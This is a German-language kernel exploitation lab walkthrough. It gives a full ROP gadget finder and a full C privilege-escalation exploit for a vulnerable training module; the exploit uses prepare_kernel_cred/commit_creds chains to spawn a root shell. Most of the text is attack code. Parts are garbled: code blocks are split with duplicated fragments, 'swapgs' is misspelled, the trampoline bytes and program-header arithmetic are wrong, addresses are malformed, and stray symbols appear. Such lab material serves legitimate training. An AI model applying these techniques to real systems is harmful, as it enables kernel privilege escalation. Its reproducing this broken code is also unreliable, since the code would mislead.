

Kernel PWN Walkthrough

Binary: Kernel 5.15.137 (vroot.ko) | Arch: x86-64 | OS: Linux | Schwierigkeit: Fortgeschritten

Was ist ein Gadget-Hunting & KASLR Exploit?

KASLR (Kernel Address Space Layout Randomization) verschiebt die Kernel-Basis bei jedem Boot. Immer wenn wir **ohne /proc/kallsyms-Read** arbeiten wollen (echte Zielsysteme: `kptr_restrict` gesetzt), müssen wir die Basis anderweitig berechnen. Das Skript `gadget-finder.py` scannt die `vmlinux`-Datei nach ROP-Gadgets und rechnet Datei-Offset in eine Laufzeitadresse um, sobald wir einen Leak haben. Der Exploit bleibt exakt derselbe wie in Lab 02 – nur die Adressen werden zur Laufzeit aus dem Kernel bestimmt.

Der echte Trick: Return Thunks

Dieser Kernel ist mit `-mfunction-return=thunk-extern` übersetzt. Die meisten `'ret'` im `.text` sind dann kein echtes 1-Byte `c3`, sondern ein 5-Byte `'jmp __x86_return_thunk'` (`e9 + rel32`). Beim Boot patcht der Kernel (auf CPU ohne Retbleed) diese Stellen zu `'c3 cc cc cc cc'`. Ein naiver Byte-Scan nach `'5f c3'` findet deshalb „Gadgets“, deren `c3` als Byte-Glück im `rel32-Displacement` solcher Sprünge liegt – zur Laufzeit ist dort aber `int3 (cc)` → Oops. Das war der Crash aus Lab 02! Gadget-Hunting im Kernel ist also nicht einfach nur „Bytes matchen“.

Das Script: gadget-finder.py

Vollständiger Code des verwendeten Gadget-Finders:

```
#!/usr/bin/env python3
"""gadget-finder.py - scan a (stripped) vmlinux for ROP gadgets.

ROP needs a "gadget" only if the kernel symbol table does not already contain
what we want. Symbols (commit_creds, init_cred, ...) come from kallsyms; the
small instruction snippets between them (pop rdi; ret, mov rdi, rax; ret, ...)
do not have symbols and must be found by byte-pattern scanning.

Usage:
./gadget-finder.py <vmlinux> [--base 0xffffffff81000000] [--limit N]
    scan for all built-in gadgets, print first N matches each

./gadget-finder.py <vmlinux> --hex '5f c3' [--base ...]
    scan for an arbitrary byte pattern given as hex

./gadget-finder.py <vmlinux> --list
    show the byte patterns this script knows

--base is the RUNTIME address of _text (read it inside the guest via
grep -w _text /proc/kallsyms). With KASLR this is NOT 0xffffffff81000000;
runtime_gadget = base + (file_offset - text_seg_file_offset).
Without --base, link-time addresses are printed (valid for nokaslr boots).

Byte-level scanning is safe for x86 ROP: the CPU decodes from the byte you
jump to, so a "gadget" found in the middle of a real instruction still
executes fine.
"""
import sys
import argparse
import struct

GADGETS = {
    "pop rdi; ret": "5f c3",
    "pop rsi; ret": "5e c3",
    "pop rdx; ret": "5a c3",
    "pop rcx; ret": "59 c3",
    "pop rax; ret": "58 c3",
    "pop rbp; ret": "5d c3",
    "mov rdi, rax; ret": "48 89 c7 c3",
    "mov rdi, rax; call rdx": "48 89 c7 ff d2",
    "mov rdi, rax; call rcx": "48 89 c7 ff d1",
```

```

"swaps; iretq":          "0f 01 f8 48 cf",
"swaps; popfq; ret":     "0f 01 f8 9d c3",
"mov cr4, rdi; ret":     "48 0f 22 e7 c3",
"jmp rax":              "ff e0",
"call rax":              "ff d0",
}

def parse_vmlinux(path):
    with open(path, "rb") as f:
        data = f.read()
    if data[:4] != b"\x7fELF":
        sys.exit("not an ELF file")
    # only ELF64 ET_EXEC vmlinux is relevant here
    ph_off = struct.unpack_from("<Q", data, 32)[0] # e_phoff
    ph_entsize = struct.unpack_from("<H", data, 54)[0] # e_phentsize
    ph_num = struct.unpack_from("<H", data, 56)[0] # e_phnum

    segs = []
    for i in range(ph_num):
        off = ph_off + i * ph_entsize
        p_type, p_flags = struct.unpack_from("<II", data, off)
        p_off = struct.unpack_from("<Q", data, off + 8)[0]
        p_vaddr = struct.unpack_from("<Q", data, off + 16)[0]
        p_filesz = struct.unpack_from("<Q", data, off + 32)[0]
        if p_type == 1 and (p_flags & 1): # PT_LOAD, PF_X
            segs.append((p_off, p_vaddr, p_filesz))
    if not segs:
        sys.exit("no executable PT_LOAD segment found")
    return data, segs

def scan(data, segs, pat, base):
    # executable text is the first (largest) exec PT_LOAD
    p_off, p_vaddr, p_filesz = max(segs, key=lambda s: s[2])
    results = []
    hay = data[p_off:p_off + p_filesz]
    start = 0
    while True:
        idx = hay.find(pat, start)
        if idx < 0:
            break
        link = p_vaddr + idx
        runtime = (base + idx) if base is not None else None
        results.append((link, runtime, p_off + idx))
        start = idx + 1
    return results

def main():
    ap = argparse.ArgumentParser(description="vmlinux gadget finder")
    ap.add_argument("vmlinux")
    ap.add_argument("--base", type=lambda s: int(s, 0), default=None,
                    help="runtime address of _text (from kallsyms)")
    ap.add_argument("--hex", default=None,
                    help="scan for arbitrary pattern, e.g. '5f c3'")
    ap.add_argument("--limit", type=int, default=5,
                    help="max matches printed per gadget (default 5)")
    ap.add_argument("--list", action="store_true", help="list known gadgets")
    args = ap.parse_args()

    if args.list:
        for name, h in GADGETS.items():
            print(f"{name:32s} {h}")
        sys.exit(0)

    data, segs = parse_vmlinux(args.vmlinux)

    if args.hex:
        pat = bytes.fromhex(args.hex)
        res = scan(data, segs, pat, args.base)
        print(f"pattern '{args.hex}' ({len(pat)} B): {len(res)} matches")
        for link, runtime, foff in res[:args.limit]:
            line = f" link 0x{link:016x} file 0x{foff:x}"
            if runtime is not None:
                line += f" runtime 0x{runtime:016x}"
            print(line)

```

```

        sys.exit(0)

    for name, h in GADGETS.items():
        pat = bytes.fromhex(h)
        res = scan(data, segs, pat, args.base)
        print(f"{name:28s} ({h}): {len(res)} matches")
        for link, runtime, foff in res[:args.limit]:
            line = f"    0x{link:016x}  file 0x{foff:x}"
            if runtime is not None:
                line += f" -> runtime 0x{runtime:016x}"
            print(line)
        if len(res) > args.limit:
            print(f"    ... ({len(res) - args.limit} more)")

if __name__ == "__main__":
    main()

```

Verwendung:

```

cd ../labs/03-advanced
./gadget-finder.py ../01-beginner/linux-5.15.137/vmlinux --list
./gadget-finder.py ../01-beginner/linux-5.15.137/vmlinux --hex '5f c3' --limit 3
./gadget-finder.py ../01-beginner/linux-5.15.137/vmlinux --hex '48 89 c7 c3' --limit 3
# mit KASLR-Base (aus /proc/kallsyms: _text):
./gadget-finder.py ../vmlinux --base 0xffffffff81000000

```

Der vollständige KASLR-Exploit (exploit.c)

Dieser Exploit liest die Symbole (commit_creds, init_cred, prepare_kernel_cred, _text, __x86_return_thunk) aus /proc/kallsyms, lädt /vmlinux und findet per Byte-Scan die echten Gadgets – dabei filtert er die kaputten Return-Thunk-Matches aktiv aus. Dann baut er die ROP-Kette. Hier der komplette Code:

```

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>

#define DEVICE    "/dev/vroot"
#define CMD_COPY  0x1337
#define OFFSET    64 /* saved RIP liegt bei buf+64 ( -fomit-frame-pointer ) */

static uint64_t user_cs, user_ss, user_rflags, user_rsp;

static void save_state(void)
{
    __asm__ volatile(
        "movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        "movq %%rsp, %3\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
        :
        : "memory");
}

static uint64_t kallsyms_lookup(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char line[512], sym[256], type;
    unsigned long long addr;

    if (!f) return 0;
    while (fgets(line, sizeof(line), f)) {
        if (sscanf(line, "%llx %c %255s", &addr, &type, sym) == 3 &&
            strcmp(sym, name) == 0) {
            fclose(f);
            return addr;
        }
    }
    return 0;
}

```

```

    return addr;
}
}
fclose(f);
return 0;
}

static uint8_t *vmlinux;
static size_t vmlinux_size;
static uint64_t text_off, runtime_base;
static uint64_t rt_thunk;

static int load_vmlinux(void)
{
    int fd = open("/vmlinux", O_RDONLY);
    struct stat st;
    Elf64_Ehdr *eh;
    Elf64_Phdr *ph;

    if (fd < 0 || fstat(fd, &st) || st.st_size < 64) return -1;
    vmlinux = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    if (vmlinux == MAP_FAILED) return -1;
    vmlinux_size = st.st_size;

    eh = (Elf64_Ehdr *)vmlinux;
    ph = (Elf64_Phdr *)vmlinux + eh->e_phoff;
    for (int i = 0; i < eh->e_phnum; i++)
        if (ph[i].p_type == PT_LOAD && (ph[i].p_flags & PF_X)) {
            text_off = ph[i].p_offset;
            return 0;
        }
    return -1;
}

static uint64_t find_bytes(const uint8_t *pat, size_t plen)
{
    int nth = 0;
    const char *e = getenv("GIDX");
    int want = e ? atoi(e) : 0;
    for (size_t i = text_off; i + plen < vmlinux_size; i++)
        if (memcmp(vmlinux + i, pat, plen) == 0) {
            if (nth == want)
                return runtime_base + (i - text_off);
            nth++;
        }
    return 0;
}

/*
 * apply_returns()-Hintergrund:
 * Der Kernel ist mit -mfunction-return=thunk-extern gebaut, fast jedes "ret"
 * ist ein 5-Byte "jmp __x86_return_thunk" (e9 + rel32). Beim Boot ersetzt der
 * Kernel (AMD-CPU, kein Retbleed) jede solche Stelle durch "c3 cc cc cc cc".
 * Ein naiver Byte-Scan findet deshalb "Gadgets" im Displacement solcher
 * Spr\u00f6nge -> zur Laufzeit int3 -> Crash. Wir muessen also wissen, wo in der
 * Datei diese Call-Sites liegen, und sie ausfiltern.
 */

static int32_t rel32_at(size_t p)
{
    int32_t rel;
    memcpy(&rel, vmlinux + p + 1, 4);
    return rel;
}

/* ueberdeckt eine e9-Rel32-Stelle mit Ziel == __x86_return_thunk die Bytes [pos,pos+1]? */
static int inside_rt_callsite(size_t pos)
{
    for (int p = (int)pos - 4; p <= (int)pos; p++) {
        if (p >= (int)text_off && vmlinux[p] == 0xe9) {
            if (runtime_base + (p + 5 - text_off) + rel32_at(p) == rt_thunk &&
                p + 4 >= (int)pos && p + 1 <= (int)pos + 1)
                return 1;
        }
    }
    return 0;
}

```

```

}

/* folgt auf die Position pos ein "Laufzeit-ret"? (c3 ODER e9->return_thunk, das zu c3 gepatcht wird) */
static int rt_ret_after(size_t pos)
{
    if (vmlinux[pos] == 0xc3)
        return !inside_rt_callsite(pos);
    if (vmlinux[pos] == 0xe9)
        return runtime_base + (pos + 5 - text_off) + rel32_at(pos) == rt_thunk;
    return 0;
}

/*
 * ECHTES "pop rdi; ret": nimmt '5f c3', verifiziert aber, dass der Treffer
 * nicht im Displacement eines Return-Thunk-Sprungs liegt (dort ist es zur
 * Laufzeit cc = int3).
 */
static uint64_t find_pop_rdi_ret(void)
{
    int nth = 0;
    const char *e = getenv("GIDX");
    int want = e ? atoi(e) : 0;

    for (size_t i = text_off; i + 2 < vmlinux_size; i++) {
        if (vmlinux[i] != 0x5f || vmlinux[i + 1] != 0xc3)
            continue;
        if (inside_rt_callsite(i))
            continue;
        if (nth == want)
            return runtime_base + (i - text_off);
        nth++;
    }
    return 0;
}

/*
 * "mov rdi, rax; ret" bzw. Alternativen zum Uebertragen des Rueckgabewerts von
 * prepare_kernel_cred (rax) nach rdi. Diese Kernel-Version hat KEIN sauberes
 * '48 89 c7 c3' - alle Treffer von 48 89 c7 werden sofort von einer Compiler-
 * Signatur gefolgt. Gesucht wird deshalb zusaetzlich '48 89 c7 e9<rt>' (wird
 * zur Laufzeit '48 89 c7 c3') sowie xchg/push-pop-Varianten.
 */
static uint64_t find_mov_rdi_rax_ret(void)
{
    static const uint8_t pats[][3] = {
        {0x48, 0x89, 0xc7}, /* mov rdi, rax */
        {0x48, 0x97, 0x00}, /* xchg rax, rdi (eigentlich 2 Byte) */
        {0x50, 0x5f, 0x00}, /* push rax; pop rdi */
    };
    const char *e = getenv("GIDX");
    int want = e ? atoi(e) : 0;
    int nth = 0;

    for (int pi = 0; pi < 3; pi++) {
        int plen = (pi == 0) ? 3 : 2;
        for (size_t i = text_off; i + plen < vmlinux_size; i++) {
            if (memcmp(vmlinux + i, pats[pi], plen) != 0)
                continue;
            if (rt_ret_after(i + plen)) {
                if (nth == want) {
                    printf("[+] move-gadget: %s @ 0x%lx\n",
                        pi == 0 ? "mov rdi,rax" :
                        pi == 1 ? "xchg rax,rdi" : "pushrax;pop rdi",
                        runtime_base + (i - text_off));
                    return runtime_base + (i - text_off);
                }
                nth++;
            }
        }
    }
    return 0;
}

static void get_shell(void)
{
    printf("[+] got root, spawning shell\n");
    execl("/bin/sh", "sh", NULL);
}

```

```

    perror("execl");
    _exit(1);
}

int main(void)
{
    uint64_t commit_creds, init_cred, prep_kcred, trampoline, pop_rdi;
    uint64_t mov_rdi_rax = 0;
    uint8_t chain[512];
    uint64_t *q;

    setbuf(stdout, NULL);
    save_state();

    commit_creds = kallsyms_lookup("commit_creds");
    init_cred     = kallsyms_lookup("init_cred");
    prep_kcred    = kallsyms_lookup("prepare_kernel_cred");
    trampoline    = kallsyms_lookup("swaps_restore_regs_and_return_to_usermode");
    runtime_base  = kallsyms_lookup("_text");
    rt_thunk      = kallsyms_lookup("__x86_return_thunk");

    if (!commit_creds || !init_cred || !runtime_base) {
        fprintf(stderr, "[-] /proc/kallsyms: Symbole fehlen (kptr_restrict=0 noetig)\n");
        return 1;
    }
    if (load_vmlinux() < 0) {
        fprintf(stderr, "[-] /vmlinux nicht lesbar\n");
        return 1;
    }

    pop_rdi = find_pop_rdi_ret();
    if (!pop_rdi) { fprintf(stderr, "[-] kein 'pop rdi; ret'\n"); return 1; }
    if (!trampoline)
        trampoline = find_bytes((const uint8_t *)"\xf8\x01\xf8\x48\xcf", 5);
    if (!trampoline) { fprintf(stderr, "[-] kein Trampoline\n"); return 1; }

    printf("[+] offset      : %d\n", OFFSET);
    printf("[+] _text      : 0x%lx\n", runtime_base);
    printf("[+] pop_rdi     : 0x%lx\n", pop_rdi);
    printf("[+] init_cred    : 0x%lx\n", init_cred);
    printf("[+] prep_kcred   : 0x%lx\n", prep_kcred);
    printf("[+] commit_creds : 0x%lx\n", commit_creds);
    printf("[+] trampoline   : 0x%lx\n", trampoline);

    memset(chain, 'A', sizeof(chain));
    q = (uint64_t *)(chain + OFFSET);

    /*
     * Bevorzugter Weg (Lab 03, Aufgabe 2): zwei Gadgets.
     *   prepare_kernel_cred(0) kloniert die init-Creds in ein frisches
     *   struct cred (Rueckgabewert in rax) -> mov rdi,rax -> commit_creds.
     */
    if (prep_kcred)
        mov_rdi_rax = find_mov_rdi_rax_ret();

    if (prep_kcred && mov_rdi_rax) {
        printf("[+] chain: prepare_kernel_cred(0) via 2 Gadgets\n");
        *q++ = pop_rdi;
        *q++ = 0;
        *q++ = prep_kcred; /* rax = neues struct cred */
        *q++ = mov_rdi_rax; /* rdi = rax */
        *q++ = commit_creds; /* current->cred = neu -> root */
    } else {
        if (prep_kcred)
            printf("[-] kein 'mov rdi,rax; ret'-Gadget in diesem Kernel\n");
        else
            printf("[-] kein prepare_kernel_cred im Kernel\n");
        printf("[+] chain: fallback commit_creds(&init_cred)\n");
        *q++ = pop_rdi;
        *q++ = init_cred;
        *q++ = commit_creds;
    }

    *q++ = trampoline; /* KPTI-Trampoline */
    for (int i = 0; i < 14; i++) *q++ = 0; /* POP_REGS: r15..rsi */

    *q++ = 0; /* pt_regs->rdi (user RDI) */

```

```

■*q++ = 0;                                     /* pt_regs->orig_ax */

■*q++ = (uint64_t)get_shell;                   /* user RIP */
■*q++ = user_cs;
■*q++ = user_rflags;
■*q++ = user_rsp;
■*q++ = user_ss;

■int fd = open(DEVICE, O_RDWR);
■if (fd < 0) { perror("open"); return 1; }
■ioctl(fd, CMD_COPY, chain);
■return 0;
}

```

Die beiden Win-Pfade

Der Exploit bevorzugt den Weg über `prepare_kernel_cred(0) → mov rdi, rax → commit_creds`, weil er keine zweite Lücke des klassischen `init_cred`-Musters nutzt. Fallback ist `commit_creds(&init_cred)`:

```

[pop_rdi; ret] [0]           [prepare_kernel_cred] ; rax = frisches cred
[mov rdi, rax; ret]         [commit_creds]        ; current->cred = root
// Fallback:
[pop_rdi; ret] [init_cred] [commit_creds]

```

Erwartete Ausgabe

```

[+] _text      : 0xfffffffff81000000 (runtime)
[+] pop_rdi    : 0xfffffffff8142xxxx (gefiltert, kein RT-Overlap)
[+] init_cred  : 0xfffffffff81dxxxxx
[+] prep_kcred : 0xfffffffff810xxx
[+] commit_creds : 0xfffffffff812xxx
[+] trampoline : 0xfffffffff810xxx
[+] move-gadget: mov rdi, rax @ 0xfffffffff81xxxxx
[+] chain: prepare_kernel_cred(0) via 2 Gadgets

```

KASLR-Formel (Datei-Offset → Laufzeitadresse)

```

runtime_gadget = runtime_base + (file_offset - text_seg_file_offset)
# runtime_base == Adresse von _text (aus /proc/kallsyms oder Leak)
# text_seg_file_offset = Offset des ausführbaren PT_LOAD-Segments in der Datei

```

Ohne `--base` gibt der Finder Link-Zeit-Adressen aus (gültig bei `nokaslr`). Mit `--base (RUNTIME _text)` bekommt ihr die echte Laufzeitadresse für einen KASLR-Boot.

Lernziele

- Warum Return Thunks naive Gadget-Scans brechen
- Byte-Pattern-Gadget-Hunting in vmlinux
- KASLR-Basis via `_text`-Leak + Datei-Offset-Formel
- `prepare_kernel_cred` vs `commit_creds(&init_cred)` Win-Pfade